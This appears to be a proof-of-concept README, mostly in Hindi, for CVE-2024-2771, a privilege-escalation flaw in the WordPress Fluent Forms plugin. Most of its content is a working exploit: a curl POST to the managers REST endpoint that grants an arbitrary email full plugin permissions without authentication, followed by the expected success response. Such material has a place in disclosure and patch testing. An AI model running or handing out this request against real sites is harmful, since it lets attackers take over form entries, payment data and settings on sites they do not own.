CVE-2024-2771-PoC

CVE-2024-2771 प्रमाण-अवधारणा

क्विज़, सर्वेक्षण और ड्रैग एंड ड्रॉप WP फॉर्म बिल्डर प्लगइन के लिए फ्लुएंट फॉर्म्स द्वारा कॉन्टैक्ट फॉर्म प्लगइन, वर्डप्रेस में संस्करण 5.1.16 तक (और इसमें शामिल) सभी संस्करणों में /wp-json/fluentform/v1/managers REST API एंडपॉइंट पर क्षमता जांच की कमी के कारण विशेषाधिकार वृद्धि के लिए कमजोर है। इससे अनप्रमाणित हमलावरों के लिए फ्लुएंट फॉर्म प्रबंधन अनुमतियों वाले उपयोगकर्ताओं को अनुदान देना संभव हो जाता है, जो उन्हें प्लगइन की सभी सेटिंग्स और सुविधाओं तक पहुंच प्रदान करता है। यह अनप्रमाणित हमलावरों के लिए प्रबंधक खातों को हटाना भी संभव बनाता है।

पूर्वापेक्षाएँ

• कॉन्टैक्ट फॉर्म – फ्लुएंट फॉर्म्स ≤ 5.1.16 सक्रिय के साथ वर्डप्रेस साइट।
• हमलावर साइट के REST API तक पहुंच सकता है (कोई प्रमाणीकरण आवश्यक नहीं)।

एक्सप्लॉइट कमांड

# 1. Grant full Fluent Forms permissions to an arbitrary email
curl -i -X POST "http://TARGET/wp-json/fluentform/v1/managers" \
     -H "Content-Type: application/json" \
     -d '{
           "manager": {
             "email": "[email protected]",
             "permissions": [
               "fluentform_dashboard_access",
               "fluentform_forms_manager",
               "fluentform_entries_viewer",
               "fluentform_manage_entries",
               "fluentform_view_payments",
               "fluentform_manage_payments",
               "fluentform_settings_manager",
               "fluentform_full_access"
             ]
           }
         }'

अपेक्षित प्रतिक्रिया

HTTP/1.1 200 OK
{
  "message": "Manager has been saved.",
  "manager": {
    "id": 2,
    "email": "[email protected]",
    "permissions": [
      "fluentform_dashboard_access",
      "fluentform_forms_manager",
      "fluentform_entries_viewer",
      "fluentform_manage_entries",
      "fluentform_view_payments",
      "fluentform_manage_payments",
      "fluentform_settings_manager",
      "fluentform_full_access"
    ]
  }
}

स्क्रीनशॉट